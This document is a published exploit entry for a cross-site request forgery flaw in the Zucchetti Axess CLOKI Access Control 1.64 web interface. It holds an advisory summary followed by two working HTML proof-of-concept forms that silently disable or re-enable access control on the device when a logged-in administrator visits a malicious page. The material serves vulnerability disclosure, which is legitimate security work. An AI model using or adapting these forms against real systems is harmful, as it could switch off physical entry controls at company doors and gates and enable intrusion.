Zucchetti Axess CLOKI Access Control 1.64 – Cross Site Request Forgery (CSRF)
# Exploit Title: Zucchetti Axess CLOKI Access Control 1.64 - Cross Site Request Forgery (CSRF) # Date: 13/12/2021 # Exploit Author: LiquidWorm # Vendor Homepage: https://www.axesstmc.com/cloki/ <!-- Zucchetti Axess CLOKI Access Control 1.64 CSRF Disable Access Control Vendor: Zucchetti Axess S.p.A. Product web page: https://www.axesstmc.com Affected version: 1.64 1.63 1.54 Summary: CLOKI is the pre-installed application on our terminals that provides simple to use access control management and attendance monitoring using any browser (IE, Chrome, Firefox, etc.). It is suited for anyone looking for a stand-alone Access Control and Attendance Monitoring system where the users' data is not frequently changed. Data management is simple and intuitive and no additional software is needed on the PC intend to use as WEB base. CLOKI for Access Control also allows configuration and monitoring of access at all company entrances (doors, gates, turnstiles etc). The Access Control manages any type of reader, entrance and access credential. Using an impartial selector it is possible to check that employees do not take company assets and allows registration of all accesses to the system and all operations that users carry out. Desc: The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. These actions can be exploited to perform authentication detriment and account password change with administrative privileges if a logged-in user visits a malicious web site. Tested on: Start X3 (h02 build 4163) Start X1 (g01 build 2804) X1/X2/X3/X4/X7 Web Server Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2021-5689 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5689.php 13.11.2021 --> CSRF disable AC: ---------------- <html> <body> <form action="http://10.0.0.2:8081/redirect.cgi"> <input type="hidden" name="flagAccessControlChanged" value="true" /> <input type="hidden" name="RAct" value="5" /> <input type="hidden" name="EnR" value="1" /> <input type="hidden" name="ExR" value="1" /> <input type="hidden" name="DenyRTout" value="5" /> <input type="hidden" name="DenyR" value="0" /> <input type="hidden" name="IType" value="0" /> <input type="hidden" name="E485" value="on" /> <input type="hidden" name="GType" value="0" /> <input type="hidden" name="TOO" value="50" /> <input type="hidden" name="TOC" value="50" /> <input type="hidden" name="TOOE" value="100" /> <input type="hidden" name="TOCE" value="100" /> <input type="submit" value="Submit request" /> </form> </body> </html> CSRF enable AC: --------------- <html> <body> <form action="http://10.0.0.2:8081/redirect.cgi"> <input type="hidden" name="flagAccessControlChanged" value="true" /> <input type="hidden" name="ACtrl" value="on" /> <input type="hidden" name="RAct" value="5" /> <input type="hidden" name="EnR" value="1" /> <input type="hidden" name="ExR" value="1" /> <input type="hidden" name="DenyRTout" value="5" /> <input type="hidden" name="DenyR" value="0" /> <input type="hidden" name="IType" value="0" /> <input type="hidden" name="E485" value="on" /> <input type="hidden" name="GType" value="0" /> <input type="hidden" name="TOO" value="50" /> <input type="hidden" name="TOC" value="50" /> <input type="hidden" name="TOOE" value="100" /> <input type="hidden" name="TOCE" value="100" /> <input type="submit" value="Submit request" /> </form> </body> </html> |